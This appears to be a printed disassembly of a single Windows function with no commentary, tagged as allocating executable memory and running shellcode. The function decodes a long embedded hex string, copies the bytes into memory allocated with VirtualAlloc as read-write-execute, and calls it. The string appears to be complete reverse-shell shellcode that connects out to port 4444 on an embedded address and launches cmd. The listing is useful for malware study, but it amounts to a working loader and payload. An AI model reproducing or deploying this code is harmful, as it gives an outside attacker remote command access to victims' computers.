Function at 0x699014b0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x74
lea eax, [ebp - 0x19]
mov dword [ebp - 0x18], eax
nop
nop
lea eax, [ebp - 0x34]
lea edx, [ebp - 0x19]
mov dword [esp + 4], edx
mov dword [esp], str.fce8820000006089e531c0648b50308b520c8b52148b72280fb74a2631ffac3c617c022c20c1cf0d01c7e2f252578b52108b4a3c8b4c1178e34801d1518b592001d38b4918e33a498b348b01d631ffacc1cf0d01c738e075f6037df83b7d2475e4588b582401d3668b0c4b8b581c01d38b048b01d0894424245b5b61595a51ffe05f5f5a8b12eb8d5d6833320000687773325f54684c772607ffd5b89001000029c454506829806b00ffd5505050504050405068ea0fdfe0ffd5976a0568a7567676680200115c89e66a1056576899a57461ffd585c0740cff4e0875ec68f0b5a256ffd568636d640089e357575731f66a125956e2fd66c744243c01018d442410c60044545056565646564e565653566879cc3f86ffd589e04e5646ff306808871d60ffd5bbf0b5a25668a695bd9dffd53c067c0a80fbe07505bb4713726f6a0053ffd5
mov ecx, eax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
sub esp, 8
lea eax, [ebp - 0x19]
mov ecx, eax
call method.std::__new_allocator_char_.__new_allocator__
nop
lea eax, [ebp - 0x40]
mov ecx, eax
call fcn.6992020c
mov dword [ebp - 0xc], 0
jmp 0x69901560
lea eax, [ebp - 0x58]
mov dword [esp + 8], 2
mov edx, dword [ebp - 0xc]
mov dword [esp + 4], edx
lea edx, [ebp - 0x34]
mov dword [esp], edx
mov ecx, eax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.substr_unsigned_int__unsigned_int__const
sub esp, 0xc
lea eax, [ebp - 0x58]
mov ecx, eax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov dword [esp + 8], 0x10
mov dword [esp + 4], 0
mov dword [esp], eax
call sym._strtol
mov byte [ebp - 0x59], al
lea eax, [ebp - 0x40]
lea edx, [ebp - 0x59]
mov dword [esp], edx
mov ecx, eax
call method.std::vector_unsigned_char__std::allocator_unsigned_char___.push_back_unsigned_char_const_
sub esp, 4
lea eax, [ebp - 0x58]
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
add dword [ebp - 0xc], 2
lea eax, [ebp - 0x34]
mov ecx, eax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.length___const
cmp dword [ebp - 0xc], eax
setb al
test al, al
jne 0x699014f8
lea eax, [ebp - 0x40]
mov ecx, eax
call method.std::vector_unsigned_char__std::allocator_unsigned_char___.size___const
mov dword [esp + 0xc], 0x40
mov dword [esp + 8], 0x3000
mov dword [esp + 4], eax
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
call eax
sub esp, 0x10
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x699015b3
mov ebx, 0
jmp 0x6990160c
lea eax, [ebp - 0x40]
mov ecx, eax
call method.std::vector_unsigned_char__std::allocator_unsigned_char___.size___const
mov ebx, eax
lea eax, [ebp - 0x40]
mov ecx, eax
call method.std::vector_unsigned_char__std::allocator_unsigned_char___.data__
mov dword [esp + 8], ebx
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._memcpy
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
call eax
mov dword [esp + 8], 0x8000
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_VirtualFree]
call eax
sub esp, 0xc
mov ebx, 1
lea eax, [ebp - 0x40]
mov ecx, eax
call method.std::vector_unsigned_char__std::allocator_unsigned_char___.vector__
lea eax, [ebp - 0x34]
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
mov eax, ebx
jmp 0x69901669
mov ebx, dword [ebp - 4]
leave
ret